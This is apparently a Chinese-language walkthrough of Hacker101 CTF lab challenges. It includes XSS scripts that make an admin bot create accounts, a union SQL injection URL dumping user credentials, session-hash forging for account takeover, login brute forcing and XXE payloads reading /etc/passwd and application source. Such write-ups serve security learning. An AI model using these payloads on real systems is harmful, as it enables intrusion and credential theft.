hacker101 CTF 学习记录(二)
前言
无
Easy-Postbook
拿到功能有点多,先扫一遍目录
.Ds_Store没有啥东西,page是个静态页面
随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1
自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag
改成id的值1
提交获取flag
我们将自己的session的hash值放入md5中,发现MD5解码为3
因此将session值改为1和2的md5试试看
替换为1的md5,登录账号1,获取第二个flag
使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令
与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了
去查delete跟的hash参数,也是简单的数据经过md5加密的
因此肯定存在越权,登录另一个账号,删除账号1的文章
拿到第五个flag
profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的
文章发表处也存在越权,可以看到写文章处post请求存在一个参数id
那么修改id为1,拿到第六个flag
还有一个flag,捣鼓了下修改密码处,无果
整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个
最后一个我看了提示是说的 198*5
,最后在遍历文章id的时候发现945处存在flag
这类漏洞利用思路hint
Moderate-Ticketastic: Demo Instance
这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的
给了后台管理员登录admin/admin
前台有个反馈
反馈后,后台弹框,JavaScript成功执行
Moderate-Ticketastic: Live Instance
环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的
但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。
拿到创建test/test的请求
http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test
来手写ajax
<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>
尝试了下不行
中途有事耽搁了几天,重新申请了环境,改改poc
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>
将请求内容放到title中,终于在测试环境中成功了
成功添加了test1/test
那么在正式题目环境中,尝试一下
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>
![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)
登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>
标签成功,使用该方法试试
<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>
可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/
竟然登了进去了,找到第一个flag
那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的
<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>
在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因
第二个flag在id=1处,使用sql的测试语句报错
明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注
http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23
这类漏洞利用思路hint
之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面
Easy-Petshop Pro
进入题目分析下功能点,是个购物车功能
添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag
剩下2个flag没有思路,先扫一遍目录
看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下
刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)
同理爆破出弱口令key
拿到第二个flag
点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag
最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....
这类漏洞利用思路hint
Hard-Model E1337 - Rolling Code Lock
先扫一下目录发现有admin目录
访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化
接下来看看注释,说有个get-config
可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式
那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对
抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试
爆破到参数为data的时候为500.....
联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>
url编码一下
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e
非常棒,302了,说明成功了
但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中
xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>
已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果
那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>
拿到第一个flag
第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的
主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因
匹配值会进入next函数,但main.py里面没有next函数的定义
观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件
读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz
密码种子碰撞不会orz,暂时挖个坑